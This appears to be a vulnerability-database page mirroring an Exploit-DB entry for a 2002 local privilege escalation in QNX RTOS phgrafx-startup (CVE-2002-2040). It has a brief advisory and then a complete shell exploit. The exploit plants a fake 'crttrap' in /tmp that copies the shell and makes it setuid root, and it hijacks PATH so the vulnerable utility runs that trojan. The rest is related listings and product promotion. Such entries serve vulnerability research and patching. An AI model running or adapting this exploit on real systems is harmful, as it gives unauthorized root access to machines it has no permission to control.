Lucene search
+L

QNX RTOS 4.25/6.1 - 'phgrafx-startup' Local Privilege Escalation

🗓️ 03 Jun 2002 00:00:00Reported by badc0dedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

Local attackers can escalate privileges via QNX phgrafx-startup due to unsafe system function use.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-2040
14 Jul 200504:00
cve
cvelist
Cvelist
CVE-2002-2040
14 Jul 200504:00
cvelist
exploitdb
Exploit DB
QNX RTOS 4.25/6.1 - 'phgrafx' Local Privilege Escalation
3 Jun 200200:00
exploitdb
euvd
EUVD
EUVD-2002-2019
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-2040
31 Dec 200205:00
nvd
redhatcve
RedhatCVE
CVE-2002-2040
21 May 202520:30
redhatcve
source: https://www.securityfocus.com/bid/4916/info


The QNX phgrafx-startup utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges.

#!/bin/sh
#
# click test,restore,continue
# now you should have a setuid root shell waiting in /tmp/badc0ded
#
# www.badc0ded.com
echo "#!/bin/sh" > /tmp/crttrap
echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap
echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap
echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap
chmod 755 /tmp/crttrap
export PATH="/tmp:$PATH"
/usr/photon/bin/phgrafx-startup

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01083
23